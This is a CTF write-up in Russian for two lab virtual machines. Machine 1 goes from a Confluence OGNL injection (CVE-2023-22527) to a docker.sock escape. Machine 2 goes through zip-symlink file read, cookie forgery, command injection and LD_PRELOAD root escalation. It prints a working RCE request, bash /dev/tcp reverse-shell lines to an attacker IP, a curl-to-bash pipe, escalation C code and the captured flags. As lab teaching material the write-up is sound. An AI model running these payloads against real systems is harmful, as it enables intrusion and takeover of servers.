Второй отборочный этап

Для второго отборочного этапа для каждой команды было подготовлено по 2 виртуальные машины.

Участникам были даны лишь ip адреса виртуальных машин (через специального бота). Задача заключалась в том, чтобы получить права доступа user и root, найти флаги и написать отчет о проделанной работе.

Особенности этапа:

На каждой виртуальной машине два уровня сложности, которые можно получить только последовательно:

1) получение доступа пользователя (user);

2) получение доступа суперпользователя (root).

Флаги хранились в текстовых файлах или в другой критической информации (логины, пароли) для каждого уровня.

Флаги сдавались в специально созданного бота. В нем был доступен интерфейс доступа к машинам, их также можно было перезагружать. Первый час перезагрузка была недоступна. Каждую машину можно было перезагружать не чаще, чем раз в 10 минут, при этом лимит на команду при перезагрузке - 1 раз в 2 минуты, при этом пересоздание машины занимало в среднем 2-3 минуты. Зачастую такая перезагрузка требовалась, когда упал сервис, случился kernel panic, был потерян доступ по ssh (и прочие критические случаи).

Учитывалось время сдачи каждого флага. Стоимость при сдаче флага на первой минуте: user – 500 баллов, root – 1000 баллов; далее каждую минуту отнималось одинаковое количество баллов.

Машина №1

Основные уязвимости:

OGNL Injection + docker escape

Сканирование портов:

После получения айпи адреса необходимо было выполнить стандартную процедуру сканирования портов, например вот так:

```
```bash=
masscan --rate=1000 -p 1-65535 <ip_address> # предварительный быстрый скан
nmap -A -p <ports> <ip_address> # точечный скан по портам из результата выше
```
```

Определяем, что нам доступны несколько портов:

```
```bash=
22 - ssh # стандратный порт, не входит в скоуп
8090 - http # висит система atlassian confluence
```
```

Initial access

После изучения доступного функционала (была открыта регистрация на confluence, но внутри не было никаких интересных зацепок) можно было обратить внимание на версию (`help -> info

about confluence`) - 8.4.1, которая попадала под уязвимость [CVE-2023-22527](https://nvd.nist.gov/vuln/detail/CVE-2023-22527).

Подбор подходящего эксплоита:
На данном шаге необходимо было выполнить поиск по открытым источникам на предмет действующего Proof-Of-Concept (PoC) кода, позволяющего эксплуатировать уязвимость.
Можно было найти на [github](https://github.com/Avento/CVE-2023-22527_Confluence_RCE/blob/main/CVE-2023-22527.py) или воспользоваться обычным [BS](https://portswigger.net/burp):

```HTTP=
POST  /template/aui/text-inline.vm  HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 285

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.
internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apa
che.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-
Response',(new freemarker.template.utility.Execute()).exec({"id"}))
```

Суть уязвимости - вызов RCE через недостаточную фильтрацию шаблонов, что позволяет вызвать уязвимость типа [SSTI](https://portswigger.net/web-security/server-side-template-injection).

Получение reverse-shell
После успешной эксплуатации уязвимости и отправки команд (например, команды `id`), можно было обнаружить что сервис запущен из-под учетной записи `root`, а значит у нас имеются все привилегии в системе и можно установить полноценный reverse-shell через [meterpreter](https://github.com/rapid7/meterpreter) или используя [классические](https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux) вызовы:

```bash=
# наш сервер
nc -lvp 5555 # сервер приемки с внешним ip адресом или пропущенный через
сервис туннелирования типа ngrok

# команда, которую необходимо отправить на уязвимый сервер для получения
reverse shell'a
bash  -i  >& /dev/tcp/<our_ip>/5555  0>&1 # где вместо поля our_ip указываем
ip нашего сервера или адрес отданный ngrok'ом
```

```

**Забираем флаг**
Флаг лежал по пути `/root/flag1.txt`, но в этот файл так же сыпались логи ошибки, поэтому его нужно было немного поискать (или руками или просто через `grep flag`):
`Try to find another root, but you first flag is:
**2f3807e8b535d9013b71b3d97dd40023**`

Docker escape
После попадания в систему проводим базовую разведку с помощью инструментов типа [LinPeas](https://linpeas.sh):

```bash=
curl https://linpeas.sh | bash
```

И обнаруживаем что мы находимся внутри docker-контейнера. С помощью инструмента [deepce](https://github.com/stealthcopter/deepce) проверяем какие варианты побега у нас есть и обнаруживаем, что у нас смонтирован docker.sock, что позволяет нам провернуть [побег](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#mounted-docker-socket-escape):

```bash=
```

Выводим список доступных образов
docker images

Запускаем образ (или можно предварительно сделать docker pull) с монтированием системы
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

Получаем полный контроль над хостом
```
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
```

Забираем флаг
После получения доступа до хоста - остается только глянуть по пути `/root/flag2.txt` и забрать последний флаг на этой машине: `**d5c8243a5030fdadfc481b338863467d**`

Машина №2

Основные уязвимости:
LFI via ZIP-symlink, Cookie Forged, LPE via ENV
Сканирование портов
После получения айпи адреса необходимо было выполнить стандартную процедуру сканирования портов, например вот так:

```bash=
```
```

```
masscan --rate=1000 -p 1-65535 <ip_address> # предварительный быстрый скан
nmap -A -p <ports> <ip_address> # точечный скан по портам из результата выше
```

Определяем, что нам доступны несколько портов:

```bash=
22 - ssh # стандратный порт, не входит в скоуп
80 - http # nginx
```

Initial access

Так как порт ssh нас не интересует, посмотрим внимательно что происходит на 80 порту. Видим сайт под управлением веб сервера на nginx'e, можно попробовать запустить сразу перебор файлов/директорий (смысла мало), а можно изучить функционал.

По пути `http://somesite.local/index.php` висела страница, которая позволяла загружать архивы с txt файлами и рендерила их содержимое прям на эту страницу, так же указывая ссылку на распакованный на сервере файл. Поигравшись с запросами, можно было понять примерную логику работы сервера:
1. если внутри архива не txt файл - вылетает ошибка
2. если внутри архива больше 1 файла - вылетает ошибка
3. обработать можно только txt файлы
4. после успешной загрузки файл храниться с уникальным именем прям на сервера по пути /uploads

Так же в исходном коде страницы можно было натолкнуться на путь `/modules/` (специально был оставлен, чтобы не пришлось заниматься тупым перебором директорий), который автоматически индексировался nginx'ом, а значит показывал файлы внутри каталога:

```bash=
modules/admin.php
modules/auth.php
modules/db.php
modules/func.php
```

Так же можно было найти ссылки на `/login.php` и `/register.php`, но не имея данных пользователей залогиниться не выйдет, а регистрация была отключена.

Теперь задача добраться до файлов типа `func.php` / `admin.php` / `db.php` и изучить их, возможно там окажется что-то интересное.

Symlink + zip
Для получения доступа до файлов необходимо было рассуждать примерно следующим образом:

1. Мы имеем возможность работать с архивами, но при этом внутри имеется ограничение на формат файла только txt;
2. Т.к. в качестве веб сервера у нас выступает nginx, а также имеется 22 порт — значит сервер запущен на *nix образе;
3. В системах *nix имеется возможность работать с symlink — это особый тип файлов, который указывает на другой файл.
4. Архивы формата zip поддерживают создание и хранение symlink'ов

Пробуем создать такой архив:

```bash=
ln -sf somefile.txt /etc/passwd #создаем ссылку на файл /etc/passwd и сохраняем ее в файле somefile.txt
zip --symlinks somefile.zip somefile.txt #архивируем файл с сохранением симлинка
```

И загружаем. Получим вывод с информацией о содержимом файла `/etc/passwsd` хранящегося на сервере. Зная пути до некоторых других файлов, можно теперь посмотреть и их аналогичным способом.

`/modules/func.php`

Представляет собой файл с парочкой функций, из интересного стоит отметить функцию `GenerateSessionUUID`:

```php=
function GenerateSessionUUID($param){return hash('md5', implode('', unpack("L", substr(hash('md5',$param),1,10))));}
```

`/modules/db.php`

Файл для работы с БД, интересная строка с паролем (не поддается бруту) и логином:

```php=
#$stmt = $db->prepare("INSERT INTO users (username, password, uuid) VALUES ('jonny_admin',
'00b27bb209ca1a282a138e7307944dfb131990266800ffd548f726e9f3f42d64', 'uuid')";
```

`/modules/admin.php`

После проверки авторизации позволяет просматривать содержимое файлов, подвержен `OS Command Injection`:

```php=
$response = shell_exec('cat ' . $root . '/uploads/' . $file);
```

```
#### /login.php
```

Обратим внимание на последний интересный файл, после успешной аутентификации пользователя он присваивает Cookie - файл с идентификатором (UUID) пользователя, который генерируется с помощью функции `GenerateSessionUUID` из файла `func.php`.
При этом на вход функция принимает только один параметр - username, что позволяет нам скрафтить такую куку и обратиться напрямую на `modules/admin.php`.

```
```php=
function GenerateSessionUUID($param){return  hash('md5', implode('',
unpack("L", substr(hash('md5',$param),1,10))));}

echo GenerateSessionUUID('jonny_admin');
```
```

OS Command Injection
После успешного крафта куки и попадания в админку можно наконец то приступить к последнему шагу нашей цепочки. Обратим внимание, что выше в файле `admin.php` удалось найти кусок кода вызываемый через `shell_exec`:

```
```php=
$response = shell_exec('cat '  .  $root  .  '/uploads/'  .  $file);
```
```

Что происходит в данном коде?
1. вызывается команда `cat`, которая на вход получает путь до файла, указанного в форме ввода
2. Результат выполнения команды передается в переменную $response

Достаточно вызвать pipe в конце нашего запроса и после выполнения команды `cat` выполнится наша команда, для примера отправим следующий запрос (через форму ввода):

```
```bash=
123.txt | id
```
```

И нам вернется имя пользователя.

Получение reverse-shell

После успешной эксплуатации уязвимости и отправки команд (например, команды `id`, которая подсказывала нам что мы работаем из-под УЗ `webserver`) необходимо было получить полноценный reverse-shell:

```
```bash=
# наш сервер
nc -lvp 5555 # сервер приемки с внешним ip адресом или пропущенный через
сервис туннелирования типа ngrok
```
```

```
# команда, которую необходимо отправить на уязвимый сервер для получения reverse shell'a
123.txt | bash  -i  >& /dev/tcp/<our_ip>/5555  0>&1 # где вместо поля our_ip указываем ip нашего сервера или адрес отданный ngrok'ом
```

Забираем флаг
Флаг лежал по пути `/home/webserver/flag.txt`:
`f8a8f23bb0d1a83a5df202f32a21e671b12b3ba29fdc43f4826ca7633e14669c`

LPE via ENV

После попадания в систему проводим базовую разведку с помощью инструментов типа [LinPeas](https://linpeas.sh):

```bash=
curl https://linpeas.sh | bash
```

И видим, что мы можем запускать скрипт `/opt/clear.sh` с правами root'a, который под капотом очищал логи, папку uploads и перезапускал nginx.

Так же это можно было заметить, введя команду `sudo -l`.

В самом скрипте манипулировать какими-либо параметрами мы не можем, а значит смотрим внимательнее в выводы предыдущих команд и замечаем там интересный параметр `SETENV`, который говорит нам что мы так же можем манипулировать переменными окружения для запуска данного скрипта.

Подготовка
Для этого на своем сервере необходимо собрать файлик по следующей [инструкции](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld_preload-and-ld_library_path):

```c++=
#include  <stdio.h>
#include  <sys/types.h>
#include  <stdlib.h>
void  _init()  {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```

Данный файл позволит запустить интерпретатор `bash` с правами root'a, остается его скомпилировать и положить на хост:

```bash=
gcc -fPIC  -shared  -o pe.so pe.c -nostartfiles
```

LPE
Остается сделать один маленький шажок - запустить:

```bash=
sudo  LD_PRELOAD=./pe.so /opt/clear.sh
```

И мы получаем сессию root'a!

Забираем флаг
Флаг лежал по пути `/root/flag.txt`:
`0c622f5cef023fa5004e0f941cf8cb9110a6e79ddcf06d3e58b86c579a7f6a38`